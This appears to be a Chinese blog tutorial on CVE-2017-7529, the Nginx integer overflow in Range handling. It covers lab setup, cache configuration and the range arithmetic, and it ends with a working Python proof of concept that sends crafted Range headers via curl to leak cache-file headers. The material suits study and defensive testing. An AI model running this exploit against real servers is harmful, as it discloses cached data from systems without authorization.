深入解读CVE-2017-7529:Nginx中的整数溢出漏洞探讨
随口说说
最近一直在尝试挖教育网站的洞,顺带的也见识了一些之前从未见过的东西,很有兴趣,于是便有了这篇,写下就当作记录
环境搭建
这次玩的东西,CVE编号为 CVE-2017-7529
,叫做 nginx整数溢出漏洞
影响版本:
- Nginx 0.5.6 – 1.13.2
安装前,需要几个必要的东西
yum install gcc-c++ pcre pcre-devel zlib zlib-devel -y
然后去官网上下载对应版本,我选的是 nginx-1.13.0
下载链接: https://nginx.org/download/
下载完之后,拖入linux,解压
tar -zxvf nginx-1.13.0.tar.gz
进入目录,进行配置 ./configure
安装,输入 make
查找安装路径
启动/停止
./nginx # 启动
./nginx -s stop # 强制停止
./nginx -s quit # 先完成工作再停止
./nginx -s reload #重载配置文件
漏洞原理
HTTP range断点传输
http中的range断点传输允许客户端分批次的请求资源,这样当用户网络中断时,就不需要重头开始请求,只需要在终端的那部分开始请求就好了
Range的规范定义如下
ranges-specifier = byte-ranges-specifier
byte-ranges-specifier = bytes-unit "=" byte-range-set
byte-range-set = 1#( byte-range-spec | suffix-byte-range-spec )
byte-range-spec = first-byte-pos "-" [last-byte-pos]
first-byte-pos = 1*DIGIT
last-byte-pos = 1*DIGIT
其中,first-byte-pos是访问的第一个字节,last则是最后一个字节
- Range:0-1024 #表示第0字节到第1024字节
- Range:-300 #表示最后300字节
Nginx Cache
nginx还可以当作一个缓存服务器,将web服务器的内容保存到服务器中, 如果客户端请求的内容已经有缓存了,那么可以直接将缓存内容返回,就需要再次请求服务器了,可降低应用服务器的负载
想开启这个功能,修改配置文件,反向代理某网站即可
http{
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server{
listen 80;
server_name localhost;
location / {
root html;
#添加下面这一条
proxy_pass http://www.baidu.com/;
index index.html index.htm
}
}
}
其他都是配置里有的,所以添加一条就好了,访问的时候就有了
那么作为缓存服务器,我们还需要将内容存在一个指定的位置,以及如何区分这些缓存文件、缓存有效时间
proxy_cache_ke "$schemes$request_method$host$request_uri";
proxy_cache_path /tmp/nginx levels=1:2 keys_zone=my_zone:10m;
proxy_cache_valid 200 10m;
Nginx配置缓存主要由以下命令完成: proxycachekey用于区分cache文件。 proxycachepath设置cache文件的路径和参数。
- cache文件会保存在指定的目录下面,文件名是cache key的MD5值
- 通过level参数将cache文件分多层目录保存,以避免某个目录下存在大量文件造成的性能开销
- 通过keys_zone参数指定cache key在内存中的区域及其大小,1M的区域大概可以保存8000条key的信息
proxycachevalid对不同返回状态值设定cache有效时间
写完了之后,再去location里配置cache
配置命令解释如下: proxycache指定使用的keyszone名称,就是之前的my_zone add_header在Nginx返回的HTTP头中,增加一项X-Proxy-Cache,如果缓存命中其值为HIT,未命中则为MISS proxyignoreheaders由于百度对图片的请求也会Set-Cookie设置,而Nginx不会缓存带有Set-Cookie的返回,因此我们这里设置忽略该HTTP头
那么我们用curl访问网站,由于是第一次访问,所以x-proxy-cache为 miss
,再次访问就变为了 HIT
去 /tmp/nginx
中查看缓存文件,可以看到,cache key的内容保存在了里面,此外还有服务器信息,这些都是不会返回给客户端的,但是因为这次的漏洞而导致这些信息也被返回,导致信息泄露
漏洞利用
这个漏洞由于负数偏移量,导致头部信息也给返回,导致的信息泄露,也就是,构造一个恶意的range值
先计算一个range值
查看文件的值大小为, 7877
总值为 0×8000000000000000
为了向前读取数据,差值最好保持在600,所以就是
range1- 图片大小(7877)=600
#解
range1=8477
第二个range值就是,总值减去range1
0×8000000000000000-8477
=-9223372036854775808-8477
=9223372036854767331
接着拿这两个值去访问
随意写个POC
import requests
import os
def run():
check=False
try:
url="http://192.168.40.130/img/bd_logo1.png"
headers = {'User-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'}
res=requests.get(url=url,headers=headers)
for i in range(2):
res=requests.get(url=url,headers=headers)
check_cache=res.headers['X-Proxy-Cache'] #查找有没有缓存
if check_cache == "MISS":
print "[+] X-Proxy-Cache: MISS"
elif check_cache == "HIT":
print "[+] X-Proxy-Cache: HIT" #有的话直接下一个
img=res.headers['Content-Length']
check=True
break
if check:
range1=int(img)+600 #计算第一个值
range2=0x8000000000000000-int(range1) #计算第二个值
res=requests.get(url=url,headers=headers)
cmd='curl -i '+url+' -r -'+str(range1)+',-'+str(range2)
print "[+] cmd: "+cmd
result=os.popen(cmd).readlines() #将结果保存为列表
for i in result:
if "KEY" in i:
print "[+] Nginx Int Overflow(CVE-2017-7529) exists"
print "[+] "+str(i)
except:
print("[-] X-Proxy-Cache Not found")
if __name__ == '__main__':
run()
运行
参考链接:
https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.2
https://www.freebuf.com/articles/terminal/140402.html